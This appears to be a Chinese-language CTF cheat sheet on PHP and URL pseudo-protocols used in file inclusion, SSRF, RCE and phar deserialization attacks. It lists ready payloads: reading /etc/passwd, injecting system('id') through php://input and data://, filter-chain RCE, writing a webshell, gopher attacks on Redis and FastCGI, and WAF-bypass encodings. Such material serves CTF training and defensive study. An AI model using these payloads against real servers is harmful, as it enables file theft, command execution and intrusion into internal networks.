CTF 伪协议

CTF 伪协议

一、常见伪协议

协议 用途 示例
file:// 读取本地文件 file:///etc/passwd
php://filter 读取PHP文件源码(绕过include执行) php://filter/read=convert.base64-encode/resource=index.php
php://input 读取POST原始数据,配合文件包含执行代码 ?file=php://input + POST: <?php system('id');?>
data:// 直接传入数据执行 data://text/plain,<?php system('id');?>
zip:// 读取zip内文件 zip:///tmp/a.zip#shell.php
phar:// 读取phar内文件,可触发反序列化 phar:///tmp/a.phar/a.txt
expect:// 执行系统命令(需扩展) expect://id
dict:// 探测端口/服务 dict://127.0.0.1:6379/info
gopher:// 发送任意TCP数据(SSRF神器) gopher://127.0.0.1:80/_GET / HTTP/1.1...
http(s):// 标准HTTP请求,常用于SSRF http://内网IP/
ftp:// FTP协议 ftp://user:pass@host/file

二、php://filter 变种(重点)

基础读取

bash 复制代码
php://filter/read=convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=index.php

多重过滤器链(绕过WAF/过滤)

bash 复制代码
php://filter/read=convert.base64-encode|convert.base64-encode/resource=index.php

写文件(配合文件包含)

bash 复制代码
php://filter/write=convert.base64-decode/resource=shell.php

filter链 RCE(无需写文件,PHP < 8.x)

利用 iconv 等 filter 链构造任意字符串,实现 RCE:

bash 复制代码
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|.../resource=/dev/null

工具:php_filter_chain_generator


三、data:// 变种

ruby 复制代码
data://text/plain,<?php system('id');?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+

四、gopher:// 变种(SSRF)

攻击内网服务,格式:gopher://host:port/_<URL编码的数据>

常见攻击目标

  • Redis:写 WebShell、计划任务、SSH key
  • MySQL:未授权访问执行SQL
  • FastCGI:RCE(攻击 9000 端口)
  • HTTP内网:访问内网 API

编码要点

  • 数据需 URL 编码一次(发出时)
  • 经过二次跳转需编码两次(双重URL编码)
  • \r\n 编码为 %0d%0a

五、phar:// 反序列化

  1. 构造含恶意序列化数据的 phar 文件
  2. 将其伪装成合法格式(如图片,修改头部)
  3. 通过文件操作函数触发:file_exists() / is_file() / fopen()
  4. 配合上传点使用
scss 复制代码
// 触发点示例
file_exists("phar:///upload/shell.gif");

六、编码绕过技巧

Base64

bash 复制代码
php://filter/read=convert.base64-encode/resource=flag.php

URL 编码

php 复制代码
data:%2f%2ftext/plain,<?php...?>

二次/多次编码(针对WAF)

perl 复制代码
gopher://127.0.0.1:80/_%2547%2545%2554   # 双重URL编码 GET

大小写混淆

ruby 复制代码
DATA://text/plain,<?php...?>
Php://filter/...
FILE:///etc/passwd

协议拼接绕过

bash 复制代码
php://filter/resource=php://filter/read=convert.base64-encode/resource=flag.php

七、常见利用场景对应

漏洞场景 推荐协议
文件包含(LFI) php://filter, php://input, data://, phar://, zip://
SSRF gopher://, dict://, file://, http://
任意文件读取 file://, php://filter
RCE php://input, data://, expect://, filter链
反序列化触发 phar://

八、速查 Tricks

  • allow_url_include=On → 才能用 php://inputdata://
  • allow_url_fopen=On → 才能用远程 http://ftp://
  • file:// 本地文件无需任何配置
  • phar 触发不依赖 include,只要有文件操作函数即可
  • gopher 的 _ 后第一个字符会被吞掉,需补一个占位字符
相关推荐
BingoGo2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack4 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo4 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack5 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理6 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
QQ5110082856 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php